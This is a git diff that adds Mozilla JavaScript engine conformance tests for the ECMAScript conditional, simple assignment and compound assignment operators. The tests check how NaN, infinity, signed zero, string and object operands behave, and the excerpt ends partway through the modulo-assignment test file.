diff --git a/js/src/tests/ecma/Expressions/11.12-4.js b/js/src/tests/ecma/Expressions/11.12-4.js
new file mode 100644
index 000000000..b99b02293
--- /dev/null
+++ b/js/src/tests/ecma/Expressions/11.12-4.js
@@ -0,0 +1,37 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 11.12-4.js
+ ECMA Section: 11.12
+ Description:
+
+ The grammar for a ConditionalExpression in ECMAScript is a little bit
+ different from that in C and Java, which each allow the second
+ subexpression to be an Expression but restrict the third expression to
+ be a ConditionalExpression. The motivation for this difference in
+ ECMAScript is to allow an assignment expression to be governed by either
+ arm of a conditional and to eliminate the confusing and fairly useless
+ case of a comma expression as the center expression.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "11.12-4";
+var VERSION = "ECMA_1";
+startTest();
+writeHeaderToLog( SECTION + " Conditional operator ( ? : )");
+
+// the following expression should NOT be an error in JS.
+
+new TestCase( SECTION,
+ "true ? MYVAR1 = 'PASSED' : MYVAR1 = 'FAILED'; MYVAR1",
+ "PASSED",
+ eval("true ? MYVAR1 = 'PASSED' : MYVAR1 = 'FAILED'; MYVAR1") );
+
+test();
+
diff --git a/js/src/tests/ecma/Expressions/11.13.1.js b/js/src/tests/ecma/Expressions/11.13.1.js
new file mode 100644
index 000000000..2048af1c0
--- /dev/null
+++ b/js/src/tests/ecma/Expressions/11.13.1.js
@@ -0,0 +1,38 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 11.13.1.js
+ ECMA Section: 11.13.1 Simple assignment
+ Description:
+
+ 11.13.1 Simple Assignment ( = )
+
+ The production AssignmentExpression :
+ LeftHandSideExpression = AssignmentExpression is evaluated as follows:
+
+ 1. Evaluate LeftHandSideExpression.
+ 2. Evaluate AssignmentExpression.
+ 3. Call GetValue(Result(2)).
+ 4. Call PutValue(Result(1), Result(3)).
+ 5. Return Result(3).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "11.13.1";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " Simple Assignment ( = )");
+
+new TestCase( SECTION,
+ "SOMEVAR = true",
+ true,
+ SOMEVAR = true );
+
+test();
+
diff --git a/js/src/tests/ecma/Expressions/11.13.2-1.js b/js/src/tests/ecma/Expressions/11.13.2-1.js
new file mode 100644
index 000000000..5d0fe096d
--- /dev/null
+++ b/js/src/tests/ecma/Expressions/11.13.2-1.js
@@ -0,0 +1,197 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 11.13.2-1.js
+ ECMA Section: 11.13.2 Compound Assignment: *=
+ Description:
+
+ *= /= %= += -= <<= >>= >>>= &= ^= |=
+
+ 11.13.2 Compound assignment ( op= )
+
+ The production AssignmentExpression :
+ LeftHandSideExpression @ = AssignmentExpression, where @ represents one of
+ the operators indicated above, is evaluated as follows:
+
+ 1. Evaluate LeftHandSideExpression.
+ 2. Call GetValue(Result(1)).
+ 3. Evaluate AssignmentExpression.
+ 4. Call GetValue(Result(3)).
+ 5. Apply operator @ to Result(2) and Result(4).
+ 6. Call PutValue(Result(1), Result(5)).
+ 7. Return Result(5).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "11.13.2-1";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " Compound Assignment: *=");
+
+
+// NaN cases
+
+new TestCase( SECTION,
+ "VAR1 = NaN; VAR2=1; VAR1 *= VAR2",
+ Number.NaN,
+ eval("VAR1 = Number.NaN; VAR2=1; VAR1 *= VAR2") );
+
+new TestCase( SECTION,
+ "VAR1 = NaN; VAR2=1; VAR1 *= VAR2; VAR1",
+ Number.NaN,
+ eval("VAR1 = Number.NaN; VAR2=1; VAR1 *= VAR2; VAR1") );
+
+// number cases
+new TestCase( SECTION,
+ "VAR1 = 0; VAR2=1; VAR1 *= VAR2",
+ 0,
+ eval("VAR1 = 0; VAR2=1; VAR1 *= VAR2") );
+
+new TestCase( SECTION,
+ "VAR1 = 0; VAR2=1; VAR1 *= VAR2;VAR1",
+ 0,
+ eval("VAR1 = 0; VAR2=1; VAR1 *= VAR2;VAR1") );
+
+new TestCase( SECTION,
+ "VAR1 = 0xFF; VAR2 = 0xA, VAR1 *= VAR2",
+ 2550,
+ eval("VAR1 = 0XFF; VAR2 = 0XA, VAR1 *= VAR2") );
+
+// special multiplication cases
+
+new TestCase( SECTION,
+ "VAR1 = 0; VAR2= Infinity; VAR1 *= VAR2",
+ Number.NaN,
+ eval("VAR1 = 0; VAR2 = Number.POSITIVE_INFINITY; VAR1 *= VAR2; VAR1") );
+
+new TestCase( SECTION,
+ "VAR1 = -0; VAR2= Infinity; VAR1 *= VAR2",
+ Number.NaN,
+ eval("VAR1 = -0; VAR2 = Number.POSITIVE_INFINITY; VAR1 *= VAR2; VAR1") );
+
+new TestCase( SECTION,
+ "VAR1 = -0; VAR2= -Infinity; VAR1 *= VAR2",
+ Number.NaN,
+ eval("VAR1 = -0; VAR2 = Number.NEGATIVE_INFINITY; VAR1 *= VAR2; VAR1") );
+
+new TestCase( SECTION,
+ "VAR1 = 0; VAR2= -Infinity; VAR1 *= VAR2",
+ Number.NaN,
+ eval("VAR1 = 0; VAR2 = Number.NEGATIVE_INFINITY; VAR1 *= VAR2; VAR1") );
+
+new TestCase( SECTION,
+ "VAR1 = 0; VAR2= Infinity; VAR2 *= VAR1",
+ Number.NaN,
+ eval("VAR1 = 0; VAR2 = Number.POSITIVE_INFINITY; VAR2 *= VAR1; VAR2") );
+
+new TestCase( SECTION,
+ "VAR1 = -0; VAR2= Infinity; VAR2 *= VAR1",
+ Number.NaN,
+ eval("VAR1 = -0; VAR2 = Number.POSITIVE_INFINITY; VAR2 *= VAR1; VAR2") );
+
+new TestCase( SECTION,
+ "VAR1 = -0; VAR2= -Infinity; VAR2 *= VAR1",
+ Number.NaN,
+ eval("VAR1 = -0; VAR2 = Number.NEGATIVE_INFINITY; VAR2 *= VAR1; VAR2") );
+
+new TestCase( SECTION,
+ "VAR1 = 0; VAR2= -Infinity; VAR2 *= VAR1",
+ Number.NaN,
+ eval("VAR1 = 0; VAR2 = Number.NEGATIVE_INFINITY; VAR2 *= VAR1; VAR2") );
+
+new TestCase( SECTION,
+ "VAR1 = Infinity; VAR2= Infinity; VAR1 *= VAR2",
+ Number.POSITIVE_INFINITY,
+ eval("VAR1 = Number.POSITIVE_INFINITY; VAR2 = Number.POSITIVE_INFINITY; VAR1 *= VAR2; VAR1") );
+
+new TestCase( SECTION,
+ "VAR1 = Infinity; VAR2= -Infinity; VAR1 *= VAR2",
+ Number.NEGATIVE_INFINITY,
+ eval("VAR1 = Number.POSITIVE_INFINITY; VAR2 = Number.NEGATIVE_INFINITY; VAR1 *= VAR2; VAR1") );
+
+new TestCase( SECTION,
+ "VAR1 =-Infinity; VAR2= Infinity; VAR1 *= VAR2",
+ Number.NEGATIVE_INFINITY,
+ eval("VAR1 = Number.NEGATIVE_INFINITY; VAR2 = Number.POSITIVE_INFINITY; VAR1 *= VAR2; VAR1") );
+
+new TestCase( SECTION,
+ "VAR1 =-Infinity; VAR2=-Infinity; VAR1 *= VAR2",
+ Number.POSITIVE_INFINITY,
+ eval("VAR1 = Number.NEGATIVE_INFINITY; VAR2 = Number.NEGATIVE_INFINITY; VAR1 *= VAR2; VAR1") );
+
+// string cases
+new TestCase( SECTION,
+ "VAR1 = 10; VAR2 = '255', VAR1 *= VAR2",
+ 2550,
+ eval("VAR1 = 10; VAR2 = '255', VAR1 *= VAR2") );
+
+new TestCase( SECTION,
+ "VAR1 = '255'; VAR2 = 10, VAR1 *= VAR2",
+ 2550,
+ eval("VAR1 = '255'; VAR2 = 10, VAR1 *= VAR2") );
+
+new TestCase( SECTION,
+ "VAR1 = 10; VAR2 = '0XFF', VAR1 *= VAR2",
+ 2550,
+ eval("VAR1 = 10; VAR2 = '0XFF', VAR1 *= VAR2") );
+
+new TestCase( SECTION,
+ "VAR1 = '0xFF'; VAR2 = 0xA, VAR1 *= VAR2",
+ 2550,
+ eval("VAR1 = '0XFF'; VAR2 = 0XA, VAR1 *= VAR2") );
+
+new TestCase( SECTION,
+ "VAR1 = '10'; VAR2 = '255', VAR1 *= VAR2",
+ 2550,
+ eval("VAR1 = '10'; VAR2 = '255', VAR1 *= VAR2") );
+
+new TestCase( SECTION,
+ "VAR1 = '10'; VAR2 = '0XFF', VAR1 *= VAR2",
+ 2550,
+ eval("VAR1 = '10'; VAR2 = '0XFF', VAR1 *= VAR2") );
+
+new TestCase( SECTION,
+ "VAR1 = '0xFF'; VAR2 = 0xA, VAR1 *= VAR2",
+ 2550,
+ eval("VAR1 = '0XFF'; VAR2 = 0XA, VAR1 *= VAR2") );
+
+// boolean cases
+new TestCase( SECTION,
+ "VAR1 = true; VAR2 = false; VAR1 *= VAR2",
+ 0,
+ eval("VAR1 = true; VAR2 = false; VAR1 *= VAR2") );
+
+new TestCase( SECTION,
+ "VAR1 = true; VAR2 = true; VAR1 *= VAR2",
+ 1,
+ eval("VAR1 = true; VAR2 = true; VAR1 *= VAR2") );
+
+// object cases
+new TestCase( SECTION,
+ "VAR1 = new Boolean(true); VAR2 = 10; VAR1 *= VAR2;VAR1",
+ 10,
+ eval("VAR1 = new Boolean(true); VAR2 = 10; VAR1 *= VAR2; VAR1") );
+
+new TestCase( SECTION,
+ "VAR1 = new Number(11); VAR2 = 10; VAR1 *= VAR2; VAR1",
+ 110,
+ eval("VAR1 = new Number(11); VAR2 = 10; VAR1 *= VAR2; VAR1") );
+
+new TestCase( SECTION,
+ "VAR1 = new Number(11); VAR2 = new Number(10); VAR1 *= VAR2",
+ 110,
+ eval("VAR1 = new Number(11); VAR2 = new Number(10); VAR1 *= VAR2") );
+
+new TestCase( SECTION,
+ "VAR1 = new String('15'); VAR2 = new String('0xF'); VAR1 *= VAR2",
+ 225,
+ eval("VAR1 = String('15'); VAR2 = new String('0xF'); VAR1 *= VAR2") );
+
+test();
+
diff --git a/js/src/tests/ecma/Expressions/11.13.2-2.js b/js/src/tests/ecma/Expressions/11.13.2-2.js
new file mode 100644
index 000000000..9e0e071a5
--- /dev/null
+++ b/js/src/tests/ecma/Expressions/11.13.2-2.js
@@ -0,0 +1,219 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 11.13.2-2js
+ ECMA Section: 11.13.2 Compound Assignment: /=
+ Description:
+
+ *= /= %= += -= <<= >>= >>>= &= ^= |=
+
+ 11.13.2 Compound assignment ( op= )
+
+ The production AssignmentExpression :
+ LeftHandSideExpression @ = AssignmentExpression, where @ represents one of
+ the operators indicated above, is evaluated as follows:
+
+ 1. Evaluate LeftHandSideExpression.
+ 2. Call GetValue(Result(1)).
+ 3. Evaluate AssignmentExpression.
+ 4. Call GetValue(Result(3)).
+ 5. Apply operator @ to Result(2) and Result(4).
+ 6. Call PutValue(Result(1), Result(5)).
+ 7. Return Result(5).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "11.13.2-2";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " Compound Assignment: /=");
+
+
+// NaN cases
+
+new TestCase( SECTION,
+ "VAR1 = NaN; VAR2=1; VAR1 /= VAR2",
+ Number.NaN,
+ eval("VAR1 = Number.NaN; VAR2=1; VAR1 /= VAR2") );
+
+new TestCase( SECTION,
+ "VAR1 = NaN; VAR2=1; VAR1 /= VAR2; VAR1",
+ Number.NaN,
+ eval("VAR1 = Number.NaN; VAR2=1; VAR1 /= VAR2; VAR1") );
+
+new TestCase( SECTION,
+ "VAR1 = NaN; VAR2=0; VAR1 /= VAR2",
+ Number.NaN,
+ eval("VAR1 = Number.NaN; VAR2=0; VAR1 /= VAR2") );
+
+new TestCase( SECTION,
+ "VAR1 = NaN; VAR2=0; VAR1 /= VAR2; VAR1",
+ Number.NaN,
+ eval("VAR1 = Number.NaN; VAR2=0; VAR1 /= VAR2; VAR1") );
+
+new TestCase( SECTION,
+ "VAR1 = 0; VAR2=NaN; VAR1 /= VAR2",
+ Number.NaN,
+ eval("VAR1 = 0; VAR2=Number.NaN; VAR1 /= VAR2") );
+
+new TestCase( SECTION,
+ "VAR1 = 0; VAR2=NaN; VAR1 /= VAR2; VAR1",
+ Number.NaN,
+ eval("VAR1 = 0; VAR2=Number.NaN; VAR1 /= VAR2; VAR1") );
+
+// number cases
+new TestCase( SECTION,
+ "VAR1 = 0; VAR2=1; VAR1 /= VAR2",
+ 0,
+ eval("VAR1 = 0; VAR2=1; VAR1 /= VAR2") );
+
+new TestCase( SECTION,
+ "VAR1 = 0; VAR2=1; VAR1 /= VAR2;VAR1",
+ 0,
+ eval("VAR1 = 0; VAR2=1; VAR1 /= VAR2;VAR1") );
+
+new TestCase( SECTION,
+ "VAR1 = 0xFF; VAR2 = 0xA, VAR1 /= VAR2",
+ 25.5,
+ eval("VAR1 = 0XFF; VAR2 = 0XA, VAR1 /= VAR2") );
+
+// special division cases
+
+new TestCase( SECTION,
+ "VAR1 = 0; VAR2= Infinity; VAR1 /= VAR2",
+ 0,
+ eval("VAR1 = 0; VAR2 = Number.POSITIVE_INFINITY; VAR1 /= VAR2; VAR1") );
+
+new TestCase( SECTION,
+ "VAR1 = -0; VAR2= Infinity; VAR1 /= VAR2",
+ 0,
+ eval("VAR1 = -0; VAR2 = Number.POSITIVE_INFINITY; VAR1 /= VAR2; VAR1") );
+
+new TestCase( SECTION,
+ "VAR1 = -0; VAR2= -Infinity; VAR1 /= VAR2",
+ 0,
+ eval("VAR1 = -0; VAR2 = Number.NEGATIVE_INFINITY; VAR1 /= VAR2; VAR1") );
+
+new TestCase( SECTION,
+ "VAR1 = 0; VAR2= -Infinity; VAR1 /= VAR2",
+ 0,
+ eval("VAR1 = 0; VAR2 = Number.NEGATIVE_INFINITY; VAR1 /= VAR2; VAR1") );
+
+new TestCase( SECTION,
+ "VAR1 = 0; VAR2= Infinity; VAR2 /= VAR1",
+ Number.POSITIVE_INFINITY,
+ eval("VAR1 = 0; VAR2 = Number.POSITIVE_INFINITY; VAR2 /= VAR1; VAR2") );
+
+new TestCase( SECTION,
+ "VAR1 = -0; VAR2= Infinity; VAR2 /= VAR1",
+ Number.NEGATIVE_INFINITY,
+ eval("VAR1 = -0; VAR2 = Number.POSITIVE_INFINITY; VAR2 /= VAR1; VAR2") );
+
+new TestCase( SECTION,
+ "VAR1 = -0; VAR2= -Infinity; VAR2 /= VAR1",
+ Number.POSITIVE_INFINITY,
+ eval("VAR1 = -0; VAR2 = Number.NEGATIVE_INFINITY; VAR2 /= VAR1; VAR2") );
+
+new TestCase( SECTION,
+ "VAR1 = 0; VAR2= -Infinity; VAR2 /= VAR1",
+ Number.NEGATIVE_INFINITY,
+ eval("VAR1 = 0; VAR2 = Number.NEGATIVE_INFINITY; VAR2 /= VAR1; VAR2") );
+
+new TestCase( SECTION,
+ "VAR1 = Infinity; VAR2= Infinity; VAR1 /= VAR2",
+ Number.NaN,
+ eval("VAR1 = Number.POSITIVE_INFINITY; VAR2 = Number.POSITIVE_INFINITY; VAR1 /= VAR2; VAR1") );
+
+new TestCase( SECTION,
+ "VAR1 = Infinity; VAR2= -Infinity; VAR1 /= VAR2",
+ Number.NaN,
+ eval("VAR1 = Number.POSITIVE_INFINITY; VAR2 = Number.NEGATIVE_INFINITY; VAR1 /= VAR2; VAR1") );
+
+new TestCase( SECTION,
+ "VAR1 =-Infinity; VAR2= Infinity; VAR1 /= VAR2",
+ Number.NaN,
+ eval("VAR1 = Number.NEGATIVE_INFINITY; VAR2 = Number.POSITIVE_INFINITY; VAR1 /= VAR2; VAR1") );
+
+new TestCase( SECTION,
+ "VAR1 =-Infinity; VAR2=-Infinity; VAR1 /= VAR2",
+ Number.NaN,
+ eval("VAR1 = Number.NEGATIVE_INFINITY; VAR2 = Number.NEGATIVE_INFINITY; VAR1 /= VAR2; VAR1") );
+
+new TestCase( SECTION,
+ "VAR1 = 0; VAR2= 0; VAR1 /= VAR2",
+ Number.NaN,
+ eval("VAR1 = 0; VAR2 = 0; VAR1 /= VAR2; VAR1") );
+
+new TestCase( SECTION,
+ "VAR1 = 0; VAR2= -0; VAR1 /= VAR2",
+ Number.NaN,
+ eval("VAR1 = 0; VAR2 = -0; VAR1 /= VAR2; VAR1") );
+
+new TestCase( SECTION,
+ "VAR1 = -0; VAR2= 0; VAR1 /= VAR2",
+ Number.NaN,
+ eval("VAR1 = -0; VAR2 = 0; VAR1 /= VAR2; VAR1") );
+
+new TestCase( SECTION,
+ "VAR1 = -0; VAR2= -0; VAR1 /= VAR2",
+ Number.NaN,
+ eval("VAR1 = -0; VAR2 = -0; VAR1 /= VAR2; VAR1") );
+
+new TestCase( SECTION,
+ "VAR1 = 1; VAR2= 0; VAR1 /= VAR2",
+ Number.POSITIVE_INFINITY,
+ eval("VAR1 = 1; VAR2 = 0; VAR1 /= VAR2; VAR1") );
+
+new TestCase( SECTION,
+ "VAR1 = 1; VAR2= -0; VAR1 /= VAR2",
+ Number.NEGATIVE_INFINITY,
+ eval("VAR1 = 1; VAR2 = -0; VAR1 /= VAR2; VAR1") );
+
+new TestCase( SECTION,
+ "VAR1 = -1; VAR2= 0; VAR1 /= VAR2",
+ Number.NEGATIVE_INFINITY,
+ eval("VAR1 = -1; VAR2 = 0; VAR1 /= VAR2; VAR1") );
+
+new TestCase( SECTION,
+ "VAR1 = -1; VAR2= -0; VAR1 /= VAR2",
+ Number.POSITIVE_INFINITY,
+ eval("VAR1 = -1; VAR2 = -0; VAR1 /= VAR2; VAR1") );
+
+// string cases
+new TestCase( SECTION,
+ "VAR1 = 1000; VAR2 = '10', VAR1 /= VAR2; VAR1",
+ 100,
+ eval("VAR1 = 1000; VAR2 = '10', VAR1 /= VAR2; VAR1") );
+
+new TestCase( SECTION,
+ "VAR1 = '1000'; VAR2 = 10, VAR1 /= VAR2; VAR1",
+ 100,
+ eval("VAR1 = '1000'; VAR2 = 10, VAR1 /= VAR2; VAR1") );
+/*
+ new TestCase( SECTION, "VAR1 = 10; VAR2 = '0XFF', VAR1 /= VAR2", 2550, eval("VAR1 = 10; VAR2 = '0XFF', VAR1 /= VAR2") );
+ new TestCase( SECTION, "VAR1 = '0xFF'; VAR2 = 0xA, VAR1 /= VAR2", 2550, eval("VAR1 = '0XFF'; VAR2 = 0XA, VAR1 /= VAR2") );
+
+ new TestCase( SECTION, "VAR1 = '10'; VAR2 = '255', VAR1 /= VAR2", 2550, eval("VAR1 = '10'; VAR2 = '255', VAR1 /= VAR2") );
+ new TestCase( SECTION, "VAR1 = '10'; VAR2 = '0XFF', VAR1 /= VAR2", 2550, eval("VAR1 = '10'; VAR2 = '0XFF', VAR1 /= VAR2") );
+ new TestCase( SECTION, "VAR1 = '0xFF'; VAR2 = 0xA, VAR1 /= VAR2", 2550, eval("VAR1 = '0XFF'; VAR2 = 0XA, VAR1 /= VAR2") );
+
+ // boolean cases
+ new TestCase( SECTION, "VAR1 = true; VAR2 = false; VAR1 /= VAR2", 0, eval("VAR1 = true; VAR2 = false; VAR1 /= VAR2") );
+ new TestCase( SECTION, "VAR1 = true; VAR2 = true; VAR1 /= VAR2", 1, eval("VAR1 = true; VAR2 = true; VAR1 /= VAR2") );
+
+ // object cases
+ new TestCase( SECTION, "VAR1 = new Boolean(true); VAR2 = 10; VAR1 /= VAR2;VAR1", 10, eval("VAR1 = new Boolean(true); VAR2 = 10; VAR1 /= VAR2; VAR1") );
+ new TestCase( SECTION, "VAR1 = new Number(11); VAR2 = 10; VAR1 /= VAR2; VAR1", 110, eval("VAR1 = new Number(11); VAR2 = 10; VAR1 /= VAR2; VAR1") );
+ new TestCase( SECTION, "VAR1 = new Number(11); VAR2 = new Number(10); VAR1 /= VAR2", 110, eval("VAR1 = new Number(11); VAR2 = new Number(10); VAR1 /= VAR2") );
+ new TestCase( SECTION, "VAR1 = new String('15'); VAR2 = new String('0xF'); VAR1 /= VAR2", 255, eval("VAR1 = String('15'); VAR2 = new String('0xF'); VAR1 /= VAR2") );
+
+*/
+
+test();
+
diff --git a/js/src/tests/ecma/Expressions/11.13.2-3.js b/js/src/tests/ecma/Expressions/11.13.2-3.js
new file mode 100644
index 000000000..b77343aa6
--- /dev/null
+++ b/js/src/tests/ecma/Expressions/11.13.2-3.js
@@ -0,0 +1,266 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 11.13.2-4.js
+ ECMA Section: 11.13.2 Compound Assignment: %=
+ Description:
+
+ *= /= %= += -= <<= >>= >>>= &= ^= |=
+
+ 11.13.2 Compound assignment ( op= )
+
+ The production AssignmentExpression :
+ LeftHandSideExpression @ = AssignmentExpression, where @ represents one of
+ the operators indicated above, is evaluated as follows:
+
+ 1. Evaluate LeftHandSideExpression.
+ 2. Call GetValue(Result(1)).
+ 3. Evaluate AssignmentExpression.
+ 4. Call GetValue(Result(3)).
+ 5. Apply operator @ to Result(2) and Result(4).
+ 6. Call PutValue(Result(1), Result(5)).
+ 7. Return Result(5).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "11.13.2-3";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " Compound Assignment: +=");
+
+// If either operand is NaN, result is NaN
+
+new TestCase( SECTION,
+ "VAR1 = NaN; VAR2=1; VAR1 %= VAR2",
+ Number.NaN,
+ eval("VAR1 = Number.NaN; VAR2=1; VAR1 %= VAR2") );
+
+new TestCase( SECTION,
+ "VAR1 = NaN; VAR2=1; VAR1 %= VAR2; VAR1",
+ Number.NaN,
+ eval("VAR1 = Number.NaN; VAR2=1; VAR1 %= VAR2; VAR1") );
+
+new TestCase( SECTION,
+ "VAR1 = NaN; VAR2=0; VAR1 %= VAR2",
+ Number.NaN,
+ eval("VAR1 = Number.NaN; VAR2=0; VAR1 %= VAR2") );
+
+new TestCase( SECTION,
+ "VAR1 = NaN; VAR2=0; VAR1 %= VAR2; VAR1",
+ Number.NaN,
+ eval("VAR1 = Number.NaN; VAR2=0; VAR1 %= VAR2; VAR1") );
+
+new TestCase( SECTION,
+ "VAR1 = 0; VAR2=NaN; VAR1 %= VAR2",
+ Number.NaN,
+ eval("VAR1 = 0; VAR2=Number.NaN; VAR1 %= VAR2") );
+
+new TestCase( SECTION,
+ "VAR1 = 0; VAR2=NaN; VAR1 %= VAR2; VAR1",
+ Number.NaN,
+ eval("VAR1 = 0; VAR2=Number.NaN; VAR1 %= VAR2; VAR1") );
+
+// if the dividend is infinity or the divisor is zero or both, the result is NaN
+
+new TestCase( SECTION,
+ "VAR1 = Infinity; VAR2= Infinity; VAR1 %= VAR2; VAR1",
+ Number.NaN,
+ eval("VAR1 = Number.POSITIVE_INFINITY; VAR2 = Number.POSITIVE_INFINITY; VAR1 %= VAR2; VAR1") );
+
+new TestCase( SECTION,
+ "VAR1 = Infinity; VAR2= -Infinity; VAR1 %= VAR2; VAR1",
+ Number.NaN,
+ eval("VAR1 = Number.POSITIVE_INFINITY; VAR2 = Number.NEGATIVE_INFINITY; VAR1 %= VAR2; VAR1") );
+
+new TestCase( SECTION,
+ "VAR1 =-Infinity; VAR2= Infinity; VAR1 %= VAR2; VAR1",
+ Number.NaN,
+ eval("VAR1 = Number.NEGATIVE_INFINITY; VAR2 = Number.POSITIVE_INFINITY; VAR1 %= VAR2; VAR1") );
+
+new TestCase( SECTION,
+ "VAR1 =-Infinity; VAR2=-Infinity; VAR1 %= VAR2; VAR1",
+ Number.NaN,
+ eval("VAR1 = Number.NEGATIVE_INFINITY; VAR2 = Number.NEGATIVE_INFINITY; VAR1 %= VAR2; VAR1") );
+
+new TestCase( SECTION,
+ "VAR1 = 0; VAR2= Infinity; VAR2 %= VAR1",
+ Number.NaN,
+ eval("VAR1 = 0; VAR2 = Number.POSITIVE_INFINITY; VAR2 %= VAR1; VAR2") );
+
+new TestCase( SECTION,
+ "VAR1 = -0; VAR2= Infinity; VAR2 %= VAR1",
+ Number.NaN,
+ eval("VAR1 = -0; VAR2 = Number.POSITIVE_INFINITY; VAR2 %= VAR1; VAR2") );
+
+new TestCase( SECTION,
+ "VAR1 = -0; VAR2= -Infinity; VAR2 %= VAR1",
+ Number.NaN,
+ eval("VAR1 = -0; VAR2 = Number.NEGATIVE_INFINITY; VAR2 %= VAR1; VAR2") );
+
+new TestCase( SECTION,
+ "VAR1 = 0; VAR2= -Infinity; VAR2 %= VAR1",
+ Number.NaN,
+ eval("VAR1 = 0; VAR2 = Number.NEGATIVE_INFINITY; VAR2 %= VAR1; VAR2") );
+
+new TestCase( SECTION,
+ "VAR1 = 1; VAR2= Infinity; VAR2 %= VAR1",
+ Number.NaN,
+ eval("VAR1 = 1; VAR2 = Number.POSITIVE_INFINITY; VAR2 %= VAR1; VAR2") );
+
+new TestCase( SECTION,
+ "VAR1 = -1; VAR2= Infinity; VAR2 %= VAR1",
+ Number.NaN,
+ eval("VAR1 = -1; VAR2 = Number.POSITIVE_INFINITY; VAR2 %= VAR1; VAR2") );
+
+new TestCase( SECTION,
+ "VAR1 = -1; VAR2= -Infinity; VAR2 %= VAR1",
+ Number.NaN,
+ eval("VAR1 = -1; VAR2 = Number.NEGATIVE_INFINITY; VAR2 %= VAR1; VAR2") );
+
+new TestCase( SECTION,
+ "VAR1 = 1; VAR2= -Infinity; VAR2 %= VAR1",
+ Number.NaN,
+ eval("VAR1 = 1; VAR2 = Number.NEGATIVE_INFINITY; VAR2 %= VAR1; VAR2") );
+
+new TestCase( SECTION,
+ "VAR1 = 0; VAR2= 0; VAR1 %= VAR2",
+ Number.NaN,
+ eval("VAR1 = 0; VAR2 = 0; VAR1 %= VAR2; VAR1") );
+
+new TestCase( SECTION,
+ "VAR1 = 0; VAR2= -0; VAR1 %= VAR2",
+ Number.NaN,
+ eval("VAR1 = 0; VAR2 = -0; VAR1 %= VAR2; VAR1") );
+
+new TestCase( SECTION,
+ "VAR1 = -0; VAR2= 0; VAR1 %= VAR2",
+ Number.NaN,
+ eval("VAR1 = -0; VAR2 = 0; VAR1 %= VAR2; VAR1") );
+
+new TestCase( SECTION,
+ "VAR1 = -0; VAR2= -0; VAR1 %= VAR2",
+ Number.NaN,
+ eval("VAR1 = -0; VAR2 = -0; VAR1 %= VAR2; VAR1") );
+
+new TestCase( SECTION,
+ "VAR1 = 1; VAR2= 0; VAR1 %= VAR2",
+ Number.NaN,
+ eval("VAR1 = 1; VAR2 = 0; VAR1 %= VAR2; VAR1") );
+
+new TestCase( SECTION,
+ "VAR1 = 1; VAR2= -0; VAR1 %= VAR2",
+ Number.NaN,
+ eval("VAR1 = 1; VAR2 = -0; VAR1 %= VAR2; VAR1") );
+
+new TestCase( SECTION,
+ "VAR1 = -1; VAR2= 0; VAR1 %= VAR2",
+ Number.NaN,
+ eval("VAR1 = -1; VAR2 = 0; VAR1 %= VAR2; VAR1") );
+
+new TestCase( SECTION,
+ "VAR1 = -1; VAR2= -0; VAR1 %= VAR2",
+ Number.NaN,
+ eval("VAR1 = -1; VAR2 = -0; VAR1 %= VAR2; VAR1") );
+
+// if the dividend is finite and the divisor is an infinity, the result equals the dividend.
+
+new TestCase( SECTION,
+ "VAR1 = 0; VAR2= Infinity; VAR1 %= VAR2;VAR1",
+ 0,
+ eval("VAR1 = 0; VAR2 = Number.POSITIVE_INFINITY; VAR1 %= VAR2; VAR1") );
+
+new TestCase( SECTION,
+ "VAR1 = -0; VAR2= Infinity; VAR1 %= VAR2;VAR1",
+ -0,
+ eval("VAR1 = -0; VAR2 = Number.POSITIVE_INFINITY; VAR1 %= VAR2; VAR1") );
+
+new TestCase( SECTION,
+ "VAR1 = -0; VAR2= -Infinity; VAR1 %= VAR2;VAR1",
+ -0,
+ eval("VAR1 = -0; VAR2 = Number.NEGATIVE_INFINITY; VAR1 %= VAR2; VAR1") );
+
+new TestCase( SECTION,
+ "VAR1 = 0; VAR2= -Infinity; VAR1 %= VAR2;VAR1",
+ 0,
+ eval("VAR1 = 0; VAR2 = Number.NEGATIVE_INFINITY; VAR1 %= VAR2; VAR1") );
+
+new TestCase( SECTION,
+ "VAR1 = 1; VAR2= Infinity; VAR1 %= VAR2;VAR1",
+ 1,
+ eval("VAR1 = 1; VAR2 = Number.POSITIVE_INFINITY; VAR1 %= VAR2; VAR1") );
+
+new TestCase( SECTION,
+ "VAR1 = -1; VAR2= Infinity; VAR1 %= VAR2;VAR1",
+ -1,
+ eval("VAR1 = -1; VAR2 = Number.POSITIVE_INFINITY; VAR1 %= VAR2; VAR1") );
+
+new TestCase( SECTION,
+ "VAR1 = -1; VAR2= -Infinity; VAR1 %= VAR2;VAR1",
+ -1,
